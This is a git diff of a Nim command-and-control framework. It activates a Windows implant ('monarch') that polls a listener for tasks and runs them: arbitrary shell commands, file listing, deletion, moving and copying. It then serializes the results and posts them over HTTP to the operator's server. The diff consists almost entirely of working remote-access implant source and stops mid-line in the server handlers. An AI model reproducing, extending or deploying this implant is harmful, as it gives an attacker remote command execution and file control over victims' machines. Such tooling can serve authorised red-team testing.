diff --git a/src/agents/monarch/types.nim b/src/agents/monarch/agentTypes.nim similarity index 82% rename from src/agents/monarch/types.nim rename to src/agents/monarch/agentTypes.nim index 736d1df..4585648 100644 --- a/src/agents/monarch/types.nim +++ b/src/agents/monarch/agentTypes.nim @@ -1,6 +1,4 @@ import winim -import ../../common/types -export PacketType, ArgType, HeaderFlags, CommandType, StatusType, ResultType, Header, TaskArg, Task, TaskResult type ProductType* = enum diff --git a/src/agents/monarch/agentinfo.nim b/src/agents/monarch/agentinfo.nim index b559a66..f188cad 100644 --- a/src/agents/monarch/agentinfo.nim +++ b/src/agents/monarch/agentinfo.nim @@ -1,6 +1,6 @@ import winim, os, net, strformat, strutils, registry -import ./[types, utils] +import ./[agentTypes, utils] # Hostname/Computername proc getHostname*(): string = @@ -88,11 +88,11 @@ proc getProductType(): ProductType = proc getOSVersion*(): string = - proc rtlGetVersion(lpVersionInformation: var types.OSVersionInfoExW): NTSTATUS + proc rtlGetVersion(lpVersionInformation: var agentTypes.OSVersionInfoExW): NTSTATUS {.cdecl, importc: "RtlGetVersion", dynlib: "ntdll.dll".} when defined(windows): - var osInfo: types.OSVersionInfoExW + var osInfo: agentTypes.OSVersionInfoExW discard rtlGetVersion(osInfo) # echo $int(osInfo.dwMajorVersion) # echo $int(osInfo.dwMinorVersion) diff --git a/src/agents/monarch/commands/commands.nim b/src/agents/monarch/commands/commands.nim index b4f7498..aea0d4d 100644 --- a/src/agents/monarch/commands/commands.nim +++ b/src/agents/monarch/commands/commands.nim @@ -1,3 +1,3 @@ -# import ./[shell, sleep, filesystem] +import ./[shell, sleep, filesystem] -# export shell, sleep, filesystem \ No newline at end of file +export shell, sleep, filesystem \ No newline at end of file diff --git a/src/agents/monarch/commands/filesystem.nim b/src/agents/monarch/commands/filesystem.nim index b3127a8..8974dd8 100644 --- a/src/agents/monarch/commands/filesystem.nim +++ b/src/agents/monarch/commands/filesystem.nim @@ -1,332 +1,270 @@ -# import os, strutils, strformat, base64, winim, times, algorithm, json +import os, strutils, strformat, winim, times, algorithm -# import ../common/types +import ../[agentTypes, utils] +import ../task/result +import ../../../common/types -# # Retrieve current working directory -# proc taskPwd*(task: Task): TaskResult = +# Retrieve current working directory +proc taskPwd*(config: AgentConfig, task: Task): TaskResult = -# echo fmt"Retrieving current working directory." + echo fmt" [>] Retrieving current working directory." -# try: + try: + # Get current working directory using GetCurrentDirectory + let + buffer = newWString(MAX_PATH + 1) + length = GetCurrentDirectoryW(MAX_PATH, &buffer) -# # Get current working directory using GetCurrentDirectory -# let -# buffer = newWString(MAX_PATH + 1) -# length = GetCurrentDirectoryW(MAX_PATH, &buffer) - -# if length == 0: -# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + if length == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode($buffer[0 ..< (int)length] & "\n"), -# status: Completed -# ) + let output = $buffer[0 ..< (int)length] & "\n" + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) -# # Change working directory -# proc taskCd*(task: Task): TaskResult = -# # Parse arguments -# let targetDirectory = parseJson(task.args)["directory"].getStr() +# Change working directory +proc taskCd*(config: AgentConfig, task: Task): TaskResult = -# echo fmt"Changing current working directory to {targetDirectory}." + # Parse arguments + let targetDirectory = task.args[0].data.toString() -# try: -# # Get current working directory using GetCurrentDirectory -# if SetCurrentDirectoryW(targetDirectory) == FALSE: -# raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") + echo fmt" [>] Changing current working directory to {targetDirectory}." -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) + try: + # Get current working directory using GetCurrentDirectory + if SetCurrentDirectoryW(targetDirectory) == FALSE: + raise newException(OSError, fmt"Failed to change working directory ({GetLastError()}).") -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) -# # List files and directories at a specific or at the current path -# proc taskDir*(task: Task): TaskResult = + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) -# # Parse arguments -# var targetDirectory = parseJson(task.args)["directory"].getStr() -# echo fmt"Listing files and directories." +# List files and directories at a specific or at the current path +proc taskDir*(config: AgentConfig, task: Task): TaskResult = -# try: -# # Check if users wants to list files in the current working directory or at another path + try: + var targetDirectory: string -# if targetDirectory == "": -# # Get current working directory using GetCurrentDirectory -# let -# cwdBuffer = newWString(MAX_PATH + 1) -# cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) + # Parse arguments + case int(task.argCount): + of 0: + # Get current working directory using GetCurrentDirectory + let + cwdBuffer = newWString(MAX_PATH + 1) + cwdLength = GetCurrentDirectoryW(MAX_PATH, &cwdBuffer) -# if cwdLength == 0: -# raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") + if cwdLength == 0: + raise newException(OSError, fmt"Failed to get working directory ({GetLastError()}).") -# targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] - -# # Prepare search pattern (target directory + \*) -# let searchPattern = targetDirectory & "\\*" -# let searchPatternW = newWString(searchPattern) - -# var -# findData: WIN32_FIND_DATAW -# hFind: HANDLE -# output = "" -# entries: seq[string] = @[] -# totalFiles = 0 -# totalDirs = 0 - -# # Find files and directories in target directory -# hFind = FindFirstFileW(searchPatternW, &findData) - -# if hFind == INVALID_HANDLE_VALUE: -# raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") - -# # Directory was found and can be listed -# else: -# output = fmt"Directory: {targetDirectory}" & "\n\n" -# output &= "Mode LastWriteTime Length Name" & "\n" -# output &= "---- ------------- ------ ----" & "\n" + targetDirectory = $cwdBuffer[0 ..< (int)cwdLength] + + of 1: + targetDirectory = task.args[0].data.toString() + else: + discard + + echo fmt" [>] Listing files and directories in {targetDirectory}." -# # Process all files and directories -# while true: -# let fileName = $cast[WideCString](addr findData.cFileName[0]) + # Prepare search pattern (target directory + \*) + let searchPattern = targetDirectory & "\\*" + let searchPatternW = newWString(searchPattern) + + var + findData: WIN32_FIND_DATAW + hFind: HANDLE + output = "" + entries: seq[string] = @[] + totalFiles = 0 + totalDirs = 0 + + # Find files and directories in target directory + hFind = FindFirstFileW(searchPatternW, &findData) + + if hFind == INVALID_HANDLE_VALUE: + raise newException(OSError, fmt"Failed to find files ({GetLastError()}).") + + # Directory was found and can be listed + else: + output = fmt"Directory: {targetDirectory}" & "\n\n" + output &= "Mode LastWriteTime Length Name" & "\n" + output &= "---- ------------- ------ ----" & "\n" + + # Process all files and directories + while true: + let fileName = $cast[WideCString](addr findData.cFileName[0]) -# # Skip current and parent directory entries -# if fileName != "." and fileName != "..": -# # Get file attributes and size -# let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 -# let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0 -# let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 -# let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 -# let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) + # Skip current and parent directory entries + if fileName != "." and fileName != "..": + # Get file attributes and size + let isDir = (findData.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) != 0 + let isHidden = (findData.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) != 0 + let isReadOnly = (findData.dwFileAttributes and FILE_ATTRIBUTE_READONLY) != 0 + let isArchive = (findData.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) != 0 + let fileSize = (int64(findData.nFileSizeHigh) shl 32) or int64(findData.nFileSizeLow) -# # Handle flags -# var mode = "" -# if isDir: -# mode = "d" -# inc totalDirs -# else: -# mode = "-" -# inc totalFiles + # Handle flags + var mode = "" + if isDir: + mode = "d" + inc totalDirs + else: + mode = "-" + inc totalFiles -# if isArchive: -# mode &= "a" -# else: -# mode &= "-" + if isArchive: + mode &= "a" + else: + mode &= "-" -# if isReadOnly: -# mode &= "r" -# else: -# mode &= "-" + if isReadOnly: + mode &= "r" + else: + mode &= "-" -# if isHidden: -# mode &= "h" -# else: -# mode &= "-" + if isHidden: + mode &= "h" + else: + mode &= "-" -# if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: -# mode &= "s" -# else: -# mode &= "-" + if (findData.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) != 0: + mode &= "s" + else: + mode &= "-" -# # Convert FILETIME to local time and format -# var -# localTime: FILETIME -# systemTime: SYSTEMTIME -# dateTimeStr = "01/01/1970 00:00:00" + # Convert FILETIME to local time and format + var + localTime: FILETIME + systemTime: SYSTEMTIME + dateTimeStr = "01/01/1970 00:00:00" -# if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: -# # Format date and time in PowerShell style -# dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" + if FileTimeToLocalFileTime(&findData.ftLastWriteTime, &localTime) != 0 and FileTimeToSystemTime(&localTime, &systemTime) != 0: + # Format date and time in PowerShell style + dateTimeStr = fmt"{systemTime.wDay:02d}/{systemTime.wMonth:02d}/{systemTime.wYear} {systemTime.wHour:02d}:{systemTime.wMinute:02d}:{systemTime.wSecond:02d}" -# # Format file size -# var sizeStr = "" -# if isDir: -# sizeStr = "" -# else: -# sizeStr = ($fileSize).replace("-", "") + # Format file size + var sizeStr = "" + if isDir: + sizeStr = "" + else: + sizeStr = ($fileSize).replace("-", "") -# # Build the entry line -# let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" -# entries.add(entryLine) + # Build the entry line + let entryLine = fmt"{mode:<7} {dateTimeStr:<20} {sizeStr:>10} {fileName}" + entries.add(entryLine) -# # Find next file -# if FindNextFileW(hFind, &findData) == 0: -# break + # Find next file + if FindNextFileW(hFind, &findData) == 0: + break -# # Close find handle -# discard FindClose(hFind) + # Close find handle + discard FindClose(hFind) -# # Add entries to output after sorting them (directories first, files afterwards) -# entries.sort do (a, b: string) -> int: -# let aIsDir = a[0] == 'd' -# let bIsDir = b[0] == 'd' + # Add entries to output after sorting them (directories first, files afterwards) + entries.sort do (a, b: string) -> int: + let aIsDir = a[0] == 'd' + let bIsDir = b[0] == 'd' -# if aIsDir and not bIsDir: -# return -1 -# elif not aIsDir and bIsDir: -# return 1 -# else: -# # Extract filename for comparison (last part after the last space) -# let aParts = a.split(" ") -# let bParts = b.split(" ") -# let aName = aParts[^1] -# let bName = bParts[^1] -# return cmp(aName.toLowerAscii(), bName.toLowerAscii()) + if aIsDir and not bIsDir: + return -1 + elif not aIsDir and bIsDir: + return 1 + else: + # Extract filename for comparison (last part after the last space) + let aParts = a.split(" ") + let bParts = b.split(" ") + let aName = aParts[^1] + let bName = bParts[^1] + return cmp(aName.toLowerAscii(), bName.toLowerAscii()) -# for entry in entries: -# output &= entry & "\n" + for entry in entries: + output &= entry & "\n" -# # Add summary of how many files/directories have been found -# output &= "\n" & fmt"{totalFiles} file(s)" & "\n" -# output &= fmt"{totalDirs} dir(s)" & "\n" + # Add summary of how many files/directories have been found + output &= "\n" & fmt"{totalFiles} file(s)" & "\n" + output &= fmt"{totalDirs} dir(s)" & "\n" -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(output), -# status: Completed -# ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, output.toBytes()) -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) -# # Remove file -# proc taskRm*(task: Task): TaskResult = -# # Parse arguments -# let target = parseJson(task.args)["file"].getStr() +# Remove file +proc taskRm*(config: AgentConfig, task: Task): TaskResult = -# echo fmt"Deleting file {target}." + # Parse arguments + let target = task.args[0].data.toString() -# try: -# if DeleteFile(target) == FALSE: -# raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") + echo fmt" [>] Deleting file {target}." -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) + try: + if DeleteFile(target) == FALSE: + raise newException(OSError, fmt"Failed to delete file ({GetLastError()}).") -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) -# # Remove directory -# proc taskRmdir*(task: Task): TaskResult = + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) + -# # Parse arguments -# let target = parseJson(task.args)["directory"].getStr() +# Remove directory +proc taskRmdir*(config: AgentConfig, task: Task): TaskResult = -# echo fmt"Deleting directory {target}." + # Parse arguments + let target = task.args[0].data.toString() -# try: -# if RemoveDirectoryA(target) == FALSE: -# raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") + echo fmt" [>] Deleting directory {target}." -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) + try: + if RemoveDirectoryA(target) == FALSE: + raise newException(OSError, fmt"Failed to delete directory ({GetLastError()}).") -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) -# # Move file or directory -# proc taskMove*(task: Task): TaskResult = + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) -# # Parse arguments -# echo task.args -# let -# params = parseJson(task.args) -# lpExistingFileName = params["from"].getStr() -# lpNewFileName = params["to"].getStr() +# Move file or directory +proc taskMove*(config: AgentConfig, task: Task): TaskResult = -# echo fmt"Moving {lpExistingFileName} to {lpNewFileName}." + # Parse arguments + let + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() -# try: -# if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: -# raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") + echo fmt" [>] Moving {lpExistingFileName} to {lpNewFileName}." -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) + try: + if MoveFile(lpExistingFileName, lpNewFileName) == FALSE: + raise newException(OSError, fmt"Failed to move file or directory ({GetLastError()}).") -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) -# # Copy file or directory -# proc taskCopy*(task: Task): TaskResult = + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) -# # Parse arguments -# let -# params = parseJson(task.args) -# lpExistingFileName = params["from"].getStr() -# lpNewFileName = params["to"].getStr() -# echo fmt"Copying {lpExistingFileName} to {lpNewFileName}." +# Copy file or directory +proc taskCopy*(config: AgentConfig, task: Task): TaskResult = -# try: -# # Copy file to new location, overwrite if a file with the same name already exists -# if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: -# raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") + # Parse arguments + let + lpExistingFileName = task.args[0].data.toString() + lpNewFileName = task.args[1].data.toString() -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) + echo fmt" [>] Copying {lpExistingFileName} to {lpNewFileName}." -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) \ No newline at end of file + try: + # Copy file to new location, overwrite if a file with the same name already exists + if CopyFile(lpExistingFileName, lpNewFileName, FALSE) == FALSE: + raise newException(OSError, fmt"Failed to copy file or directory ({GetLastError()}).") + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/shell.nim b/src/agents/monarch/commands/shell.nim index bb8706f..14cbf41 100644 --- a/src/agents/monarch/commands/shell.nim +++ b/src/agents/monarch/commands/shell.nim @@ -1,30 +1,35 @@ -import winim, osproc, strutils, strformat, base64, json +import winim, osproc, strutils, strformat -import ../common/types +import ../task/result +import ../[utils, agentTypes] +import ../../../common/types -proc taskShell*(task: Task): TaskResult = +proc taskShell*(config: AgentConfig, task: Task): TaskResult = - # # Parse arguments JSON string to obtain specific values - # let - # params = parseJson(task.args) - # command = params["command"].getStr() - # arguments = params["arguments"].getStr() + try: + var + command: string + arguments: string - # echo fmt"Executing command {command} with arguments {arguments}" + # Parse arguments + case int(task.argCount): + of 1: # Only the command has been passed as an argument + command = task.args[0].data.toString() + arguments = "" + of 2: # The optional 'arguments' parameter was included + command = task.args[0].data.toString() + arguments = task.args[1].data.toString() + else: + discard - # try: - # let (output, status) = execCmdEx(fmt("{command} {arguments}")) - # return TaskResult( - # task: task.id, - # agent: task.agent, - # data: encode(output), - # status: Completed - # ) + echo fmt" [>] Executing: {command} {arguments}." - # except CatchableError as err: - # return TaskResult( - # task: task.id, - # agent: task.agent, - # data: encode(fmt"An error occured: {err.msg}" & "\n"), - # status: Failed - # ) + let (output, status) = execCmdEx(fmt("{command} {arguments}")) + + if output != "": + return createTaskResult(task, cast[StatusType](status), RESULT_STRING, output.toBytes()) + else: + return createTaskResult(task, cast[StatusType](status), RESULT_NO_OUTPUT, @[]) + + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/commands/sleep.nim b/src/agents/monarch/commands/sleep.nim index 0d8ccb8..c1d4331 100644 --- a/src/agents/monarch/commands/sleep.nim +++ b/src/agents/monarch/commands/sleep.nim @@ -1,27 +1,23 @@ -# import os, strutils, strformat, base64, json +import os, strutils, strformat -# import ../common/types +import ../[agentTypes, utils] +import ../task/result +import ../../../common/[types, serialize] -# proc taskSleep*(task: Task): TaskResult = +proc taskSleep*(config: AgentConfig, task: Task): TaskResult = -# # Parse task parameter -# let delay = parseJson(task.args)["delay"].getInt() + try: + # Parse task parameter + let delay = int(task.args[0].data.toUint32()) -# echo fmt"Sleeping for {delay} seconds." + echo fmt" [>] Sleeping for {delay} seconds." + + sleep(delay * 1000) + + # Updating sleep in agent config + config.sleep = delay + + return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[]) -# try: -# sleep(delay * 1000) -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(""), -# status: Completed -# ) - -# except CatchableError as err: -# return TaskResult( -# task: task.id, -# agent: task.agent, -# data: encode(fmt"An error occured: {err.msg}" & "\n"), -# status: Failed -# ) \ No newline at end of file + except CatchableError as err: + return createTaskResult(task, STATUS_FAILED, RESULT_STRING, err.msg.toBytes()) diff --git a/src/agents/monarch/http.nim b/src/agents/monarch/http.nim index 9f4cbaa..527e322 100644 --- a/src/agents/monarch/http.nim +++ b/src/agents/monarch/http.nim @@ -1,6 +1,7 @@ import httpclient, json, strformat, asyncdispatch -import ./[types, utils, agentinfo] +import ./[agentTypes, utils, agentInfo] +import ../../common/types proc register*(config: AgentConfig): string = @@ -44,32 +45,36 @@ proc getTasks*(config: AgentConfig, agent: string): string = except CatchableError as err: # When the listener is not reachable, don't kill the application, but check in at the next time - echo "[-] [getTasks]: Listener not reachable." + echo "[-] [getTasks]: " & err.msg finally: client.close() return "" -proc postResults*(config: AgentConfig, agent: string, taskResult: TaskResult): bool = +proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool = - # let client = newAsyncHttpClient() + let client = newAsyncHttpClient() - # # Define headers - # client.headers = newHttpHeaders({ "Content-Type": "application/json" }) + # Define headers + client.headers = newHttpHeaders({ + "Content-Type": "application/octet-stream", + "Content-Length": $resultData.len + }) - # let taskJson = %taskResult + let body = resultData.toString() - # echo $taskJson + echo body - # try: - # # Register agent to the Conquest server - # discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/{taskResult.task}/results", $taskJson) - # except CatchableError as err: - # # When the listener is not reachable, don't kill the application, but check in at the next time - # echo "[-] [postResults]: ", err.msg - # return false - # finally: - # client.close() + try: + # Send binary task result data to server + discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body) + + except CatchableError as err: + # When the listener is not reachable, don't kill the application, but check in at the next time + echo "[-] [postResults]: " & err.msg + return false + finally: + client.close() return true \ No newline at end of file diff --git a/src/agents/monarch/monarch.nim b/src/agents/monarch/monarch.nim index 67e5760..8982b8d 100644 --- a/src/agents/monarch/monarch.nim +++ b/src/agents/monarch/monarch.nim @@ -1,8 +1,9 @@ import strformat, os, times import winim -import ./[types, http] -import task/handler, task/parser +import ./[agentTypes, http] +import task/handler, task/packer +import ../../common/types const ListenerUuid {.strdefine.}: string = "" const Octet1 {.intdefine.}: int = 0 @@ -73,8 +74,13 @@ proc main() = # Execute all retrieved tasks and return their output to the server for task in tasks: - let result: TaskResult = config.handleTask(task) - discard config.postResults(agent, result) + let + result: TaskResult = config.handleTask(task) + resultData: seq[byte] = serializeTaskResult(result) + + echo resultData + + discard config.postResults(result, resultData) when isMainModule: main() \ No newline at end of file diff --git a/src/agents/monarch/task/handler.nim b/src/agents/monarch/task/handler.nim index c2754c9..132d390 100644 --- a/src/agents/monarch/task/handler.nim +++ b/src/agents/monarch/task/handler.nim @@ -1,37 +1,22 @@ import strutils, tables, json -import ../types +import ../agentTypes import ../commands/commands +import ../../../common/types import sugar proc handleTask*(config: AgentConfig, task: Task): TaskResult = - dump task - - # var taskResult = TaskResult - # let handlers = { - # CMD_SLEEP: taskSleep, - # CMD_SHELL: taskShell, - # CMD_PWD: taskPwd, - # CMD_CD: taskCd, - # CMD_LS: taskDir, - # CMD_RM: taskRm, - # CMD_RMDIR: taskRmdir, - # CMD_MOVE: taskMove, - # CMD_COPY: taskCopy - # }.toTable + let handlers = { + CMD_SLEEP: taskSleep, + CMD_SHELL: taskShell, + CMD_PWD: taskPwd, + CMD_CD: taskCd, + CMD_LS: taskDir, + CMD_RM: taskRm, + CMD_RMDIR: taskRmdir, + CMD_MOVE: taskMove, + CMD_COPY: taskCopy + }.toTable # Handle task command - # taskResult = handlers[task.command](task) - # echo taskResult.data - - # Handle actions on specific commands - # case task.command: - # of CMD_SLEEP: - # if taskResult.status == STATUS_COMPLETED: - # # config.sleep = parseJson(task.args)["delay"].getInt() - # discard - # else: - # discard - - # # Return the result - # return taskResult \ No newline at end of file + return handlers[cast[CommandType](task.command)](config, task) \ No newline at end of file diff --git a/src/agents/monarch/task/parser.nim b/src/agents/monarch/task/packer.nim similarity index 63% rename from src/agents/monarch/task/parser.nim rename to src/agents/monarch/task/packer.nim index 3b19e1c..12f7d40 100644 --- a/src/agents/monarch/task/parser.nim +++ b/src/agents/monarch/task/packer.nim @@ -1,9 +1,7 @@ import strutils, strformat -import ../types -import ../utils -import ../../../common/types -import ../../../common/serialize +import ../[agentTypes, utils] +import ../../../common/[types, serialize] proc deserializeTask*(bytes: seq[byte]): Task = @@ -41,12 +39,13 @@ proc deserializeTask*(bytes: seq[byte]): Task = command = unpacker.getUint16() var argCount = unpacker.getUint8() - var args = newSeq[TaskArg](argCount) + var args = newSeq[TaskArg]() # Parse arguments - while argCount > 0: + var i = 0 + while i < int(argCount): args.add(unpacker.getArgument()) - dec argCount + inc i return Task( header: Header( @@ -87,4 +86,47 @@ proc deserializePacket*(packet: string): seq[Task] = result.add(deserializeTask(taskBytes)) - dec taskCount \ No newline at end of file + dec taskCount + +proc serializeTaskResult*(taskResult: TaskResult): seq[byte] = + + var packer = initPacker() + + # Serialize result body + packer + .add(taskResult.taskId) + .add(taskResult.agentId) + .add(taskResult.listenerId) + .add(taskResult.timestamp) + .add(taskResult.command) + .add(taskResult.status) + .add(taskResult.resultType) + .add(taskResult.length) + + if cast[ResultType](taskResult.resultType) != RESULT_NO_OUTPUT: + packer.addData(taskResult.data) + + let body = packer.pack() + packer.reset() + + # TODO: Encrypt result body + + # Serialize header + packer + .add(taskResult.header.magic) + .add(taskResult.header.version) + .add(taskResult.header.packetType) + .add(taskResult.header.flags) + .add(taskResult.header.seqNr) + .add(cast[uint32](body.len)) + .addData(taskResult.header.hmac) + + let header = packer.pack() + + # TODO: Calculate and patch HMAC + + return header & body + + + + diff --git a/src/agents/monarch/task/result.nim b/src/agents/monarch/task/result.nim new file mode 100644 index 0000000..5e823ae --- /dev/null +++ b/src/agents/monarch/task/result.nim @@ -0,0 +1,25 @@ +import times +import ../../../common/types + +proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult = + + return TaskResult( + header: Header( + magic: MAGIC, + version: VERSION, + packetType: cast[uint8](MSG_RESPONSE), + flags: cast[uint16](FLAG_PLAINTEXT), + seqNr: 1'u32, # TODO: Implement sequence tracking + size: 0'u32, + hmac: default(array[16, byte]) + ), + taskId: task.taskId, + agentId: task.agentId, + listenerId: task.listenerId, + timestamp: uint32(now().toTime().toUnix()), + command: task.command, + status: cast[uint8](status), + resultType: cast[uint8](resultType), + length: uint32(resultData.len), + data: resultData, + ) \ No newline at end of file diff --git a/src/agents/monarch/utils.nim b/src/agents/monarch/utils.nim index 601e04f..5e2c977 100644 --- a/src/agents/monarch/utils.nim +++ b/src/agents/monarch/utils.nim @@ -1,5 +1,5 @@ -import strformat -import ./types +import strformat, strutils +import ./agentTypes proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string = let @@ -67,4 +67,24 @@ proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): strin proc toString*(data: seq[byte]): string = result = newString(data.len) for i, b in data: - result[i] = char(b) \ No newline at end of file + result[i] = char(b) + +proc toBytes*(data: string): seq[byte] = + result = newSeq[byte](data.len) + for i, c in data: + result[i] = byte(c.ord) + +proc uuidToUint32*(uuid: string): uint32 = + return fromHex[uint32](uuid) + +proc uuidToString*(uuid: uint32): string = + return uuid.toHex(8) + +proc toUint32*(data: seq[byte]): uint32 = + if data.len != 4: + raise newException(ValueError, "Expected 4 bytes for uint32") + + return uint32(data[0]) or + (uint32(data[1]) shl 8) or + (uint32(data[2]) shl 16) or + (uint32(data[3]) shl 24) \ No newline at end of file diff --git a/src/common/serialize.nim b/src/common/serialize.nim index 8d184b0..ee6f0a7 100644 --- a/src/common/serialize.nim +++ b/src/common/serialize.nim @@ -5,7 +5,7 @@ type Packer* = ref object stream: StringStream -proc initTaskPacker*(): Packer = +proc initPacker*(): Packer = result = new Packer result.stream = newStringStream() @@ -25,8 +25,8 @@ proc addArgument*(packer: Packer, arg: TaskArg): Packer {.discardable.} = packer.add(arg.argType) - case arg.argType: - of cast[uint8](STRING), cast[uint8](BINARY): + case cast[ArgType](arg.argType): + of STRING, BINARY: # Add length for variable-length data types packer.add(cast[uint32](arg.data.len)) packer.addData(arg.data) @@ -76,6 +76,10 @@ proc getUint64*(unpacker: Unpacker): uint64 = unpacker.position += 8 proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = + + if length <= 0: + return @[] + result = newSeq[byte](length) let bytesRead = unpacker.stream.readData(result[0].addr, length) unpacker.position += bytesRead @@ -86,16 +90,16 @@ proc getBytes*(unpacker: Unpacker, length: int): seq[byte] = proc getArgument*(unpacker: Unpacker): TaskArg = result.argType = unpacker.getUint8() - case result.argType: - of cast[uint8](STRING), cast[uint8](BINARY): + case cast[ArgType](result.argType): + of STRING, BINARY: # Variable-length fields are prefixed with the content-length let length = unpacker.getUint32() result.data = unpacker.getBytes(int(length)) - of cast[uint8](INT): + of INT: result.data = unpacker.getBytes(4) - of cast[uint8](LONG): + of LONG: result.data = unpacker.getBytes(8) - of cast[uint8](BOOL): + of BOOL: result.data = unpacker.getBytes(1) else: discard \ No newline at end of file diff --git a/src/common/types.nim b/src/common/types.nim index 34ad10c..0164b03 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -45,6 +45,7 @@ type ResultType* = enum RESULT_STRING = 0'u8 RESULT_BINARY = 1'u8 + RESULT_NO_OUTPUT = 2'u8 Header* = object magic*: uint32 # [4 bytes ] magic value @@ -124,7 +125,7 @@ type elevated*: bool sleep*: int jitter*: float - tasks*: seq[seq[byte]] + tasks*: seq[Task] firstCheckin*: DateTime latestCheckin*: DateTime diff --git a/src/server/api/handlers.nim b/src/server/api/handlers.nim index 951a91e..1d33638 100644 --- a/src/server/api/handlers.nim +++ b/src/server/api/handlers.nim @@ -2,6 +2,7 @@ import terminal, strformat, strutils, sequtils, tables, json, times, base64, sys import ../[utils, globals] import ../db/database +import ../task/packer import ../../common/types # Utility functions @@ -40,6 +41,8 @@ proc getTasks*(listener, agent: string): seq[seq[byte]] = {.cast(gcsafe).}: + var result: 